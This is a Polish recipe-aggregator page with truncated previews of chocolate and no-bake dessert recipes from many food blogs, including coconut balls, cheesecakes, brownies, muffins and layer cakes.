Kokosowe kulki a’la Raffaello 208

jako baza do kremów do ciast. W ramach wydarzenia Ciasto na niedzielę – Słodkości bez pieczenia przygotowałam kokosowe kulki a’la Raffaello. Składniki na ok. 40 sztuk: - 200 g białej czekolady - 100 g miękkiego masła - 50 g cukru pudru - 1,5 szklanki wiórków kokosowych - ok. 40 szt. obranych migdałów Dodatkowo: - ok. ¾ szklanki wiórków kokosowych do obtoczenia kulek Czekoladę kroimy na kawałki(...)rozpuszczamy na parze, w kąpieli wodnej. W drugiej misce ucieramy robotem miękkie masło z cukrem pudrem. Dalej miksując dodajemy porcjami przestudzoną, ale płynną czekoladę. Dodajemy wiórki kokosowe – mieszamy łyżką do połączenia składników. Masę wstawiamy do stężenia na godzinę do lodówki. Po wyjęciu formujemy kulki umieszczając wewnątrz każdej migdał. Gotowe obtaczamy dokładnie we wiórkach kokosowych. Wstawiamy do lodówki, najlepiej na całą

mojewypiekiinietylko
Budyniowy torcik z mlecznym kremem i galaretką 155

cukru waniliowego 300 g masła 2 szklanki mleka w proszku Poncz: Słodka czarna herbata z cytryną 1 pomarańczowa galaretka 1 szklanka wrzątku Polewa czekoladowa: 100 g mlecznej czekolady 50 g masła 3 łyżki śmietany 30% Orzechy laskowe do dekoracji Biszkopt: Białka oddzielamy od żółtek. Ubijamy je na sztywną pianę ze szczyptą soli. Pod koniec ubijania partiami wsypujemy cukier. Następnie kolejno(...)Tortownicę wstawiamy do lodówki aby galaretka zastygła. Następnie rozsmarowujemy kilka łyżek kremu. Dogniatamy delikatnie kolejnym biszkoptem. Na końcu wykładamy resztę kremu. Torcik polewamy mleczną polewą. W kąpieli wodnej rozpuszczamy czekoladę i masło. Gdy całość jest gładka wlewamy śmietankę. Naczynie zdejmujemy znad pary i energicznie mieszamy aby czekolada się nie zważyła. Jeszcze ciepłą polewą oblewamy tort. Dekorujemy orzechami laskowymi

VioletoweKucharzenie
Muffiny truflowe 108

cukru – 1 łyżeczka proszku do pieczenia – 1 łyżeczka sody oczyszczonej – szczypta soli – 2 jajka – 1 szklanka mleka – 110 ml oleju – 200 g czekolady truflowe – 1 łyżka kakao Przygotowanie : W jednej misce połączyć mokre składniki (mleko, olej), natomiast w drugiej suche składniki ( proszek i sodę, mąkę, cukier oraz sól). Czekoladę rozpuścić w kąpieli(...)wodnej i ostudzić. Następnie do mokrych składników wsypać suche i wymieszać. Dodać czekoladę i również wymieszać. Ciasto wyłożyć do foremek na muffinki .Piec w piekarniku nagrzanego do 200 stopni C i piec ok. 20- 30 minut. Artykuł Muffiny truflowe pochodzi z serwisu I LOVE LIFE

I LOVE LIFE
Princessa – ciasto bez pieczenia! 1297

Składniki: ok 25 sztuk kakaowych herbatników 3 budynie śmietankowe (bez cukru) + 3 łyżki cukru 3,5 szklanki mleka 1 kostka masła lub margaryny (200g) 1 biała czekolada (90 g ) 3 łyżki cukru pudru 1 słoik dżemu malinowego 50 g wiórków kokosowych     *** Na dnie blaszki wykładamy warstwę herbatników (moja blaszka ma wymiary 24×24 cm) *** *** Przygotowujemy krem: z mleka(...)mieszamy i gotujemy aż zgęstnieje (około 2 minuty). Budyń studzimy. Masło ucieramy razem z cukrem pudrem i stopniowo dodajemy zimny budyń. Całość dokładnie ucieramy, aż powstanie gładki krem *** *** Białą czekoladę ścieramy na tarce *** *** Startą czekoladę mieszamy z kremem budyniowym. Krem dzielimy na 3 części. Pierwszą część kremu wykładamy na herbatniki *** *** Całość przykrywamy warstwą herbatników *** *** Herbatniki smarujemy dżemem malinowym *** *** Na dżem

Blog z Apetytem
Sernik "Snickers" 165

chyba że w mięsie... Spód: 300 g kruchych ciastek kakaowych 100 g masła Masa serowa: 1 kg zmielonego sera na senniki 5 jajek ok. 2/3 szklanki cukru 100 g czekolady mlecznej 2/3 słodkiej śmietanki 18% ½ słoika masła orzechowego (może być z kawałkami orzechów) Wierzch: ½ puszki masy kajmakowej 5-6 batonów snickers Masło stopić. Ciastka zmielić w malakserze(...)wymieszać ze stopionym masłem. Wylepić masą spód tortownicy (25-26 cm) wyłożonej papierem. Wstawić do lodówki na czas przygotowania masy. Czekoladę rozpuścić ze śmietanką w mikrofalówce lub w kąpieli wodnej. Ostudzić. Jajka utrzeć z twarogiem, cukrem, rozpuszczoną czekoladą i masłem orzechowym. Wyłożyć na ciasteczkowy spód. Wstawić do piekarnika nagrzanego do temperatury 180oC. Piec około 45 minut aż masa serowa zetnie

Czerwień i błękit
Markizy kakaowe z kremem maślanym, pyszne ciasteczka 160

Polskich młynów, sprawdza się idealnie do wszelkiego rodzaju wypieków, zapewniając im idealną konsystencję i smak.  Ciasteczka pięknie wyglądają, są wypełnione kremem maślanym. Całość polana jest niteczkami białej czekolady :) Gorąco Wam polecam te ciasteczka, ponieważ są na prawdę rewelacyjne. Proporcje są bardzo wydajne, mi wyszło z nich około 70-80 pojedynczych  ciasteczek  czyli około 40 gotowych markizów :) SKŁADNIKI(...)mąki ziemniaczanej 60g cukru pudru 3 ugotowane żółtka 150 g masła opakowanie cukru waniliowego 1 łyżka kakao KREM 150g masła 2 łyżki cukru pudru DODATKOWO kawałek białej czekolady do polania ciasteczek CIASTO Składniki na ciasto dajemy do miski, mąkę przesiewamy, a ugotowane i ostudzone żółtka trzemy na tarce lub kruszymy rękami. Z podanych składników zagniatamy gładkie ciasto.  Pod koniec

moje pyszne łatwe i sprawdzone przepisy krok po kroku
Ciasteczka owsiane bez cukru 161

miękkiego masła 1 szklanka erytrolu  2 jajka 2 szklanki mąki razowej 1 łyżeczka proszku do pieczenia 2 szklanki płatków owsianych 2 garście orzechów włoskich 1 tabliczka czekolady gorzkiej (powyżej 85 %) PRZYGOTOWANIE W mikserze ucieramy masło z erytrolem. Dodajemy jajka, mąkę oraz   proszek do pieczenia.  Chwilę miksujemy.    Na końcu wrzucamy płatki owsiane, drobno posiekaną czekoladę

Moje Kuchenne Rewelacje
OWOCOWA PIZZA Z KASZTANOWĄ KRUSZONKĄ 135

świeżych drożdży 1 szklanka mleka 1 jajko 1 łyżeczka cukru brązowego 2 łyżki syropu klonowego 2-3 łyżki oliwy szczypta soli Nadzienie: 1 mango 2 jabłka 50 g gorzkiej czekolady garść orzechów włoskich Kruszonka: 2 szklanki płatków z kasztanów jadalnych Radix-Bis 3-4 łyżki mąki owsianej (bezglutenowej) 3 łyżki oleju kokosowego Radix-Bis 3 łyżki syropu klonowego 1/2 łyżeczki(...)Nadzienie: Jabłka obieramy ze skóry, usuwamy gniazda nasienne i kroimy w kostkę. Mango obieramy ze skóry, usuwamy pestkę i również kroimy w kostkę. Orzechy włoskie drobno siekamy. Czekoladę gorzką kroimy w drobną kostkę. Na przygotowany spód pizzy wykładamy kawałki jabłka oraz mango i posypujemy posiekanymi orzechami oraz czekoladą. Kruszonka: Do rozdrabniacza wsypujemy płatki z kasztanów i dodajemy olej kokosowy oraz

Kuchnia MagdaLeny
Babeczki z „Marsa” 112

ziemi! Mają aksamitną konsystencję i niespodziankę w środku. Mmm, palce lizać! Poziom zaawansowania: Łatwy Składniki na 5 szt: 2 batoniki „Mars” 50 g masła 150 g czekolady mlecznej (50 do polewy) 50 ml śmietanki 30 % 2 jajka (2 białka do ubicia) 4 łyżki mąki garść orzechów włoskich łyżeczka miodu/ cukru (najlepiej muscovado) łyżeczka proszku do pieczenia Przygotowanie: Roztapiamy(...)masło z białą czekoladą. W oczekiwaniu, aż masa trochę przestygnie miksujemy białka na sztywną pianę. Dzięki temu babeczki będą bardziej puszyste. Łączymy suche składniki, tj. mąkę, cukier, proszek do pieczenia, orzechy włoskie pokruszone na kawałki. Następnie łączymy je z uprzednio roztopioną masą. Dodajemy ubite białko. Delikatnie mieszamy i wykładamy całość do foremek, do połowy wysokości. Do środka wciskamy kawałek batonika

Pyszny Duet
Ptasie mleczko w pucharku z galaretkami 126

Smaczny deser niczym lekka pianka podany w szklanych pucharkach z kolorowymi galaretkami posypany tartą gorzką czekoladą, zachwyci zarówno dzieci jak i dorosłych, doskonały na słodki   wiosenno letni podwieczorek. Banalnie prosty i kolorowy. SKŁADNIKI: Na 4 pucharki: 1 galaretka agrestowa 1 galaretka owoce leśne 1 galaretka krystaliczna  o smaku cytryny 400 ml śmietanki 30% 1 płaska łyżka cukru pudru(...)tartej gorzkiej czekolady Sposób przygotowania: Bezbarwną galaretkę rozpuszczamy w szklance wrzątku, zostawiamy w temp pokojowej do wystudzenia. Galaretkę zieloną i czerwoną rozpuszczamy osobno w 400 ml wrzątku, wylewamy do prostokątnych naczyń, zostawiamy do całkowitego stężenia, następnie   kroimy na kawałki i wyjmujemy. Mieszamy razem. Dobrze schłodzoną kremówkę ubijamy na puszysto z cukrem pudrem, wlewamy cienkim strumieniem płynną,  zimną

Wanilia i Kardamon
Tarta z ricottą, brzoskwinią i czekodżemem Łowicz 147

czasu potrzebujemy sobie dogodzić. Zrobić chwilę przerwy, przygotować coś rozkosznie słodkiego i delektować się chwilą. Marka Łowicz wprowadziła na rynek zmysłową nowość – czekodżemy. Jest to połączenie belgijskiej mlecznej czekolady oraz owoców, do wyboru w czterech smakach. Trudno się oprzeć przed wyjadaniem go prosto ze słoiczka, ale warto się powstrzymać i przygotować sobie rustykalną tartę z ricottą, brzoskwinią i czekodżemem(...)zestaw dla rozpieszczania zmysłów :)   Składniki: 100 g mąki pszennej 50 g mąki krupczatki 100 g masła 1 żółtko 1 łyżka śmietany 1 słoiczek czekodżemu Łowicz Brzoskwinia z belgijską czekoladą 250 g ricotty 1 jajko 1 duża brzoskwinia Obie mąki przesiej, po czym posiekaj je z masłem. Dodaj żółtko i śmietanę i zagnieć na gładkie ciasto. Włóż je do lodówki

Mienta blog
Chocolate crinkles 115

Chocolate crinkles Przepadam za smakiem czekolady, dlatego też chocolate crinkles tak bardzo przypadły mi do gustu. Ich intensywnie czekoladowy smak, chrupka powierzchnia i cudownie miękkie wnętrze sprawiają, że wręcz nie można się im oprzeć. Te czekoladowe ciasteczka dzięki popękanej biało bazowej powierzchni prezentują się rewelacyjnie na każdym stole i stoliku a smak… no cóż, po prostu rozpływają(...)się w ustach. Spróbujcie a na pewno zagoszczą u Was na dłużej. Składniki potrzebne do przygotowania czekoladowych ciasteczek chocolate crinkles : 225g gorzkiej czekolady, 1 i 2/3 szklanki mąki pszennej, 2/3 szklanki cukru pudru, 110g masła ekstra, 3 jajka, 2 łyżeczki ekstraktu z wanilii, pół łyżeczki proszku do pieczenia, szczypta soli, cukier puder do obtaczanie ciasteczek (około pół szklanki). Sposób

Gotuj Się Kto Może
Mleczna kanapka 102

Mleczna kanapka Mleczna kanapka czyli ciasto dla wielbicieli mleka i czekolady. Mój syn uwielbia te popularne batoniki więc z okazji jego imienin postanowiłam upiec ich domowy odpowiednik i to był strzał w dziesiątkę :) Ciasto udało się świetnie i wszystkim smakowało pomimo tego że jest dość słodkie. A syn ciągle dopytuje kiedy będzie powtórka(...)pieczenia, 2 łyżki oleju Masa: 350g masła, 2 szklanki pełnego mleka w proszku, 2/3 szklanki cukru, 1 opakowanie cukru waniliowego, ½ szklanki mleka, Polewa: 1 tabliczka gorzkiej czekolady, 50g masła Sposób przygotowania mlecznej kanapki: Ciasto (forma prostokąta ok. 20x25cm): Białka ubijam na sztywno z odrobina soli, dodaję cukier, żółtka i chwilę ubijam. Dodaję olej następnie wymieszane

Gotuj Się Kto Może
Bezglutenowe brownie z malinami 155

bidi; mso-fareast-language:EN-US;} Bezglutenowe brownie z malinami Dziś na blogu zagości, obiecane ostatnio, brownie z malinami. Jest, jak to brownie, bardzo czekoladowe, ale maliny lekko przełamują czekoladę swoim smakiem – połączenie bardzo udane :) Brownie nie zawiera glutenu a jedno jajko z przepisu zastąpiłam trzema łyżkami 100% masła orzechowego, które dodałam razem z masą czekoladową (jajka akurat miałam tylko(...)trzy ;)) ale nie było go czuć w cieście. Przepis pochodzi z książki „Jeść zdrowiej”. Składniki potrzebne do przygotowania bezglutenowego brownie z malinami: 175g masła, 250g gorzkiej czekolady, szczypta soli, 4 jajka, 1 szklanka drobnego cukru, 100 g mąki migdałowej, 100g malin. Sposób przygotowanie bezglutenowego brownie z malinami: Masło z czekoladą i solą roztapiam w rondelku na bardzo małym ogniu

Gotuj Się Kto Może
Sernik ananasowo-brzoskwiniowy bez pieczenia 144

słodka za to w połączeniu ze słodkim spodem wyszło elegancka mieszanka :) No to zaczynamy. Składniki 1kg twarogu sernikowego  200g brzoskwiń z puszki 200g ananasa z puszki 50 g czekolady mlecznej 300g ciastek HIT (u mnie dwa rodzaje) 100g masła 6 łyżeczek żelatyny Masło rozpuszczamy w rondelku i studzimy, w międzyczasie w robocie mielimy na drobne kawałki ciasteczka oraz czekoladę(...)litr płynu (tak napisali na opakowaniu) i dokładnie mieszam. Gdy żelatyna ostygnie łączę ją z masą serowo owocową i zalewam już schłodzony po 2h spód. Na górze troszkę startej czekolady i do lodówki aż stężeje - najlepiej na całą noc ;) I na śniadanko można sobie zaserwować pyszny sernik :) Smacznego !!!! Wartości odżywcze oraz kalorie: Wartość odżywcza opracowana na stronie www.kalkulatorkalorii.net

Smacznie Pysznie Kalorycznie
ZUPA KREM Z KALAFIORA Z BIAŁĄ CZEKOLADĄ 115

rozcieńczyć go z wodą i dodać ulubione składniki. Na bulionie możesz przygotować dowolną zupę lub dodać do risotto. Składniki: 1 kalafior 1 cebula 2 łyżki masła 50 g białej czekolady 1,5 l wywaru na bazie bulionu KRAKUS warzywny 1  łyżka gęstej śmietany sól pieprz Gotujemy kalafiora do miękkości podzielonego na mniejsze części w bulionie. Na maśle podsmażamy cebule(...)pokrojoną w kostkę. Dodajemy ugotowany kalafior i podsmażamy ok 2 minut. Do bulionu, w którym gotowaliśmy kalafiora dodajemy podsmażone warzywa i gotujemy chwilę. Dodajemy połamaną białą czekoladę i gotujemy do rozpuszczenia się czekolady. Miksujemy na gładki krem. Na sam koniec dodajemy śmietanę oraz przyprawiamy zupę

Kuchnia w oparach
SPAGHETTI W KLIMACIE UNICORNE 108

okazji dnia makaronu przygotować makaron unicorne. Danie jest słodkie, ale też nie przesłodzone. Jest w sosie trochę alkoholu więc ten makaron nie nadaje się dla dzieci. Ciemna deserowa czekolada niweluje słodki smak hibiskusowego cukru pudru. Dodatkowo czerwone porzeczki sprawiają, że całość jest idealnie wyważona. Sok z cytryny sprawia, że makaron jest cieniowany czyli czerwony przeplata się z jaśniejszym odcieniem(...)przygotowania dania użyłam makaronu Lubella. Składniki:  pół główki czerwonej kapusty 1/2 soku z cytryny makaron spaghetti LUBELLA ser typu białego (np. ricotta) 100 g czekolady deserowej kieliszek wiśniówki 1 łyżeczka hibiskusowego cukru pudru ((1 łyżka suszonego hibiskusa, 2/3 szklanki cukru pudru - miksujemy do uzyskania efektu piasku) Owoce do dekoracji lody owocowe Makaron gotujemy z czerwoną kapustą. Połowę makaronu

Kuchnia w oparach
CHOINKOWE BABECZKI PANETTONE 109

waniliowego 180 g mixu bakalii (figi, skorka pomarańczowa kandyzowana, żurawina suszona) migdały 1 roztrzepane jajko 4 łyżki słodkiego wina DEKORACJA: bita śmietana wiórki kokosowe CHOINKI: paluszki 1 tabliczka białej czekolady zielony barwnik kolorowa posypka  CHOINKI: Białą czekoladę rozpuszczamy w kąpieli wodnej wraz z kilkoma kroplami barwnika.  Przelewamy do szprycy i Wylewamy rozpuszczoną czekoladę na paluszki tworząc choinkę, posypujemy

Kuchnia w oparach
Ciasto z kremem limonkowym 163

minut w 180 º C. Odstawić do całkowitego wystudzenia. Krem: 200 ml śmietanki 36% 250 g serka mascarpone skórka z limonki sok z połowy limonki 100 g białej czekolady cukier puder (opcjonalnie) Czekoladę rozpuścić w kąpieli wodnej i odstawić do całkowitego wystudzenia.Dobrze schłodzoną śmietankę ubić na sztywno.Serek mascarpone zmiksować z rozpuszczoną czekoladą,skórką i sokiem z limonki. Ubitą śmietankę delikatnie

Anielskie wypieki
Mini-serniczki z rodzynkami i czekoladą. 138

Zamiast dużego sernika polecam upiec takie małe serniczki w formie muffinek. Pyszne i słodkie, idealne na podwieczorek i spotkanie ze znajomymi. Rodzynki i czekolada nadają im słodkości, a śmietanka kremówka delikatności. Czego chcieć więcej...mniam. Macie składniki? To koniecznie upieczcie. Zapraszam :) Składniki: Masa serowa: 50 dag sera na sernik ( u mnie gotowy w wiadereczku ) 3 małe jajka pół szklanki cukru(...)cukier waniliowy pół szklanki śmietanki kremówki 30 % 2 budynie waniliowe ( bez cukru i na pół litra mleka każdy ) 5 dag mlecznej czekolady pół szklanki rodzynek Wykonanie: 1. Masa serowa: Jajka wbijamy do miski, wsypujemy cukier i cukier waniliowy, następnie miksujemy na puszystą masę, wlewamy kremówkę, wsypujemy budynie w proszku i dalej miksujemy, dodajemy ser i miksujemy do dokładnego połączenia się

Izabelawkuchni
Przepis #133 Domowa mleczna czekolada - FIT, bez glutenu i laktozy (wegańska) 1199

Witajcie,  wiecie, że 12 kwietnia obchodzony jest Dzień Czekolady? W takie święto nie można nie zjeść choćby kawałka:) Dla dbających o zdrowe odżywianie przygotowałam propozycję na pyszną domową czekoladą na mleczku kokosowym. Przysmak jest wegański, bez glutenu i dodatku białego cukru. Jej przygotowanie nie zabiera dużo czasu a smakuje wyśmienicie. A w dodatku ma o prawie połowę mniej kcal(...)przechowywania żywności, które wyłożyłam papierem do pieczenia. Pozostawiamy na chwilę do wystygnięcia a następnie wkładamy do lodówki na około godzinę a później do zamrażalnika również na około godzinę.  Czekolada dość łatwo się rozpuszcza dlatego warto ją przechowywać w zamrażalniku. Do masy można dodać ulubione dodatki takie jak bakalie czy orzechy.  Smacznego

Health-Fit-Life
Mini deserki z masą kajmakową i białą czekoladą  2171

Dziś mam dla Was szybki deser z masą kajmakową w roli głównej. Inspiracją do powstania deserków była życzliwość marki Stovit, Helio oraz ePrezenty. Składniki: 50 g białej czekolady 250 g serka mascarpone 150 g masy krówkowej Helio 350 g śmietanki kremówki 30% Przygotowanie: Białą czekoladę rozpuszczamy w kąpieli wodnej, następnie studzimy. Serek mascarpone miksujemy, po czym dodajemy 100 g masy(...)krówkowej oraz wlewamy przestudzoną białą czekoladę, miksujemy do połączenia. W misce ubijamy schłodzoną śmietankę kremówkę. Dodajemy ją do przygotowanej wcześniej masy. Całość krótko miksujemy do uzyskania puszystego kremu. Pozostałą masę krówkową (50 g) delikatnie podgrzewamy. Taką płynną masą polewamy od wewnątrz ścianki szklanek. Szklanki do samej góry napełniamy kremem. Wierzch deserków posypujemy płatkami migdałowymi Desery schładzamy w lodówce przez minimum

Podróż w kulinaria
Kakaowy placek z wkładką serową 83

Przygotowanie śliwek: 30 dag suszonych śliwek, pokroić na połówki i zalać przegotowaną ostudzoną wodą i odstawić na godzinę, po czym dokładnie odsączyć. Składniki na polewę: Galaretka wiśniowa 1 szt. Czekolada deserowa gorzka 1 szt. Czekolada mleczna 1 szt. Masło ½ kostki Śmietana kwaśna ½ szklanki Przygotowanie polewy: Galaretkę rozpuścić w ½ szklance gorącej wody, dodać pokruszone czekolady, masło i wszystko rozpuścić lecz

Tradycyjna Kuchnia
Muffinki kawowe z polewą czekoladową 109

deser proponuję kawowe muffinki:). Te małe babeczki lubi każdy z nas a ich wykonanie jest proste i nie wymaga dużego nakładu czasu. Kawowy posmak w połączeniu z mleczną czekoladą stanowią ciekawy duet.  2 niepełne szklanki mąki  1 i 1/2 łyżeczka proszku do pieczenia 80 ml oleju  2 łyżki kawy rozpuszczalnej + 100 ml wrzątku  3 jajka(...)szklanki cukru 1 opakowanie cukru waniliowego 50g mlecznej czekolady posypka 1. Kawę zalewamy wrzątkiem, mieszamy, studzimy. 2. W misce umieszczamy jajka, olej, cukier, cukier waniliowy, ostudzoną kawę. Mieszamy do połączenia składników. W drugiej misce mieszamy ze sobą mąkę z proszkiem do pieczenia. Składniki mokre łączymy ze składnikami suchymi. Mieszamy drewnianą łyżką do połączenia składników. Przekładamy do foremki na muffinki wyłożonej

Szefowa kuchni
Babka majonezowa 101

bardzo miło się zaskoczyłam. Wbrew pozorom wcale nie upiekłam jej na Święta Wielkanocne, a w zwykły weekend. Babka jest delikatna w smaku, przypomina biszkopt, a smak świetnie dopełnia biała czekolada. Jest słynnym wypiekiem świątecznym pewnie ze względu na obecność majonezu, który jest "królem" Wielkanocy, ale z powodzeniem sprawdzi się na każdą okazję.  Dla kogo: dla lubiących kulinarne eksperymenty(...)chcących się mile zaskoczyć  Składniki: 4 jajka pół szklanki cukru 3/4 szklanki majonezu (delikatnego w smaku) 90g mąki ziemniaczanej 90g mąki pszennej łyżeczka proszku do pieczenia 100g białej czekolady 50 ml śmietanki 30 lub 36% Wykonanie ciasta: Dwa rodzaje mąki wymieszać w miseczce wraz z proszkiem do pieczenia. Białka ubić na sztywną pianę, pod koniec ubijania powoli dodawać cukier

Mania Wypiekania
Pudding z chałki z migdałami, truskawkami i czekodżemem Łowicz 140

chałki. Niewiele dodatków sprawi, że zamieni sie ona w chrupiący z wierzchu i delikatny w środku pudding. Zapieczony z nowością od Łowicza, czyli czekodżemem, który jest połączeniem mlecznej belgijskiej czekolady i owoców. To prawdziwa rozkosz dla podniebienia. Uwielbiam spędzać wolne chwile delektując się tym właśnie wypiekiem, a może on stanowić także słodką propozycję na nieśpieszne weekendowe śniadanie. Jestem pewna(...)smak Was zachwyci :) Składniki (4 porcje): 200 g czekodżemu Łowicz Truskawka z belgijską czekoladą 1 czerstwa chałka 2 jajka 120 ml mleka 2 łyżki jogurtu 2-3 truskawki 2 łyżki płatków migdałów Piekarnik nagrzej do 180 stopni. Chałkę pokrój na kromki o grubości ok. 1 cm. Jajka roztrzep z mlekiem i jogurtem. Każdą kromkę obtocz w jajecznej mieszance, po czym

Mienta blog
Brownie bez pieczenia, mega orzechowe 132

czekoladowe ciasto. np. właśnie takie brownie bez pieczenia. Ostatnio było dużo pieczenia na blogu, to pomyślałem, że teraz dla odmiany coś zupełnie bez użycia piekarnika, szybkie, pyszne, mega czekoladowe. Czekolada – bo jako jedyna poprawia najbardziej złe humory Od samego początku na bloga, jednym z najbardziej popularnych wpisów jest karmelowe ciacho bez pieczenia (przepis TUTAJ ). Ten jest bardzo podobny, tylko(...)możecie spróbować dolać odrobinę mleka do blendowania). Składniki: 2,5 szklanki orzechów włoskich 2,5 szklanki namoczonych w gorącej wodzie daktyli 1 szklanka kakao szczypta soli 1 gorzka czekolada mleko kokosowe Przygotowanie: Mielimy orzechy na małe kawałki. Dodajemy ( namoczone przez co najmniej godzinę w ciepłe wodzie ) daktyle oraz sól. Blendujemy do czasu, aż wszystkie składniki się połączą. Przekładamy do formy

PaleoLife
Waniliowa babka z polewą czekoladową 188

Mamy ale nie byłabym sobą gdybym czegoś nie zmodyfikowała :)  Babka dzięki śmietanie jest bardzo wilgotna, delikatny smak wanilii i masła przypomina mi dzieciństwo...wszystko przełamane gorzką polewą z czekolady.    Przepis łatwy i szybki a przede wszystkim tani :) Składniki na blaszkę 26cm (nie mam typowej formy do babek) wszystko powinno mieć temperaturę pokojową - 100g miękkiego masła - 175g śmietany(...)ziemniaczanej - budyń waniliowy (40g) - 4 duże jajka - laska wanilii (może być olejek waniliowy) - 2 małe łyżeczki proszku do pieczenia Polewa czekoladowa: - 100ml śmietanki 30% -   50g gorzkiej czekolady Sposób wykonania: Piekarnik nagrzewamy do 160 stopni. Foremkę wykładamy papierem do pieczenia albo smarujemy masłem i posypujemy mąką. Masło ucieramy z cukrem na białą masę, dodajemy po jednym jajku

Wypieki Rene
TORT MILKY WAY + FILMIK 442

DEKORACJA : 100 g czekolady deserowej + 3 łyżki mleka 5 batoników milky way czekoladki gwiazdki - milky way 2 batoniki crispy rolls PRZYGOTOWANIE :   BISZKOPT - Całe jajka ubijamy mikserem na puch, dodajemy cukier, dalej ubijamy, następnie wlewamy olej i wsypujemy pomieszane mąki z kakao. Biszkopt delikatnie mieszamy, wylewamy na tortownicę o średnicy 24 ( może być również mniejsza ), wyłożoną folią(...)miseczki, będzie do dekoracji. Na boki ciasta ( zanim masa zastygnie ) przyklejamy  gwiazdki czekoladowe. Tort odkładamy na kilka godzin do lodówki. Kiedy całkowicie masy zastygną, dekorujemy ciasto. Czekoladę łamiemy na kawałki, wlewamy 3 łyżki mleka i ogrzewamy w mikrofalówce około 30 sekund, mieszamy aż powstanie gładka polewa. Na zimne ciasto wylewamy polewę i szybko

Kulinarne Fantazje Marioli
Bezglutenowe babeczki buraczane 149

pełnej wysokości foremek. Wstawić do piekarnika nagrzanego do 175 stopni na 20 - 25 minut - piekłam z termoobiegiem.  Gotowe babeczki wystudzić i polać przygotowaną polewą. Polewę zrobiłam z czekolady pozostałej z jednego wielkanocnego króliczka, jednego jajka czekoladowego i 8 kostek zwykłej czekolady. Czekoladę wrzuciłam do garnka, wlałam 2 łyżki mleka i całość podgrzałam na małym ogniu do połączenia składników

Ze smakiem bez glutenu
WEGAŃSKA CZEKOLADA BEZ CUKRU I JEGO SUBSTYTUTÓW 141

brak kofeiny (w przeciwieństwie do kakao), duża zawartość wapnia, żelaza, magnezu i witamin z grupy B. Karob wspomaga odporność organizmu i znajduje zastosowanie w kuracjach przeciwkaszlowych i antygrypowych. Przygotowując czekoladę na bazie karobu nie używam cukru ani jego substytutów. Naturalna słodycz tej alternatywy kakao w pełni mnie satysfakcjonuje. Do tej wersji czekolady dodałam amarantus ekspandowany, który fajnie ją napowietrza, wdzięcznie(...)dodajemy karob i 3 łyżki amarantusa. Mieszamy i wylewamy do silikonowej formy. Posypujemy wierzch pozostałym amarantusem i orzechami oraz prószymy solą. Umieszczamy w lodówce na minimum 15 minut.  Czekolada dość szybko się rozpuszcza. Jemy zaraz po wyciągnięciu z lodówki. Smacznego

Jeść, by żyć w zdrowiu
Miętowy sernik z pianką 208

barwnik zielony 1 doniczka mięty 1 cytryna pianka miętowa: 140 g galaretki miętowej w pudrze/ albo cukierki miętowe landryny/ 400 ml śmietany kremówki 30 % 1 łyżeczka żelatyny wierzch: czekolada gorzka do posypania 4 pastylki miętowe w czekoladzie Sernik: Ser mielę dwa razy, przekładam do miski. Z mięty odrywam listki, kroję je nożem, przekładam do moździerza, dodaj dwie łyżki pudru(...)galaretka się rozpuści, dodaję żelatynę . Zostawiam do przestygnięcia i ubijam  mikserem. Piankę wylewam na zimny sernik, układam połówki pastylek miętowych i wstawiam do lodówki. Przed podaniem dekoruję startą czekoladą i mięta

wesoła kuchnia
Piernik staropolski 98

szklanki, mleko 125 ml, soda 3 łyżeczki, sól 0,5 łyżeczki, przyprawa do piernika 2 opakowania po 40 g, dodatkowo: marmolada wieloowocowa lub powidła śliwkowe 1 kg, czekolada mleczna 100 g, mleko 4 łyżki, orzechy włoskie posiekane do posypania ciasta, Sposób przygotowania: Masło, miód i cukier podgrzewamy na małej mocy palnika do całkowitego rozpuszczenia cukru. Studzimy. Do wystudzonej masy dodajemy(...)st.C Upieczone blaty studzimy, a następnie przekładamy marmoladą lub powidłami. Ciasto równomiernie obciążyć i odstawić na 3-4 dni do skruszenia.  Do rondelka wlewamy mleko i łamiemy czekoladę, stawiamy na palnik o niskiej mocy i rozpuszczamy czekoladę. Polewę należy cały czas mieszać. Następnie polewamy wierzch piernika i posypujemy posiekanymi orzechami.  Smacznego 😊 Przepis zaczerpnięty ze strony:  www.mojewypieki.com

kulinarne odsłony pati
Ciasto Princessa zebra -bez pieczenia 203

Pyszne ciacho,kolejne z serii "bez pieczenia",którą uwielbiam,robi się ją szybko i fajnie a smakuje wyśmienicie.Budyniowa masa,wiórki kokosowe i biała czekolada,dżem malinowy....mniam,gorąco polecam Przepis ze strony "Zjem to!"-bardzo dziękuję Składniki: 375 g miękkiego masła 250 g wiórków kokosowych 750 ml mleka 3 żółtka 3 czubate łyżki mąki ziemniaczanej (lub budyniu waniliowego(...)płaskie łyżki mąki pszennej 1 szklanka cukru 1 cukier waniliowy 100 g białej czekolady dodatkowo: duże opakowanie herbatników kakaowych (ok. 300 g)  dżem malinowy  wiórki kokosowe do posypania Przygotowanie: Żółtka utrzeć z połową cukru. Dodać obie mąki, 1 szklankę mleka i dokładnie zmiksować. Pozostałe mleko wlać do garnuszka, dodać cukier waniliowy i drugą połowę cukru. Doprowadzić do wrzenia

Swojskie jedzonko
Kostka milky way z kajmakiem i wiśniami 320

Prawdziwa słodycz bez pieczenia, na herbatnikach z kremem z batoników milky way z warstwą kajmaku, kremu budyniowego i wiśni całość posypana tartą gorzka czekoladą, czy można sobie wyobrazić coś lepszego do słodkiego poczęstunku ? Poezja! Dla słodkich łasuchów. Moja kombinacja i autorski przepis. Forma 25/30 cm Składniki: 45 dag maślanych herbatników 1 mała puszka kajmaku 1,5 szklanki wiśni osączonych(...)mleka 1 jajko 3 żółtka 22 dag mąki pszennej 15 dag cukru 32 g cukru waniliowego (z prawdziwą wanilią ) 20 dag masła Odrobina migdałowego aromatu Dodatkowo: 50 g gorzkiej czekolady Przygotowanie: Krem budyniowy: W rondelku zagotowujemy 800 ml mleka z cukrami. 200 ml mleka miksujemy mikserem  z żołtkami, całym jajkiem i mąką pszenną , tak aby masa była gładka

Wanilia i Kardamon
Ciasto czekoladowe, bez jajek, ale za to z coca-colą... 152

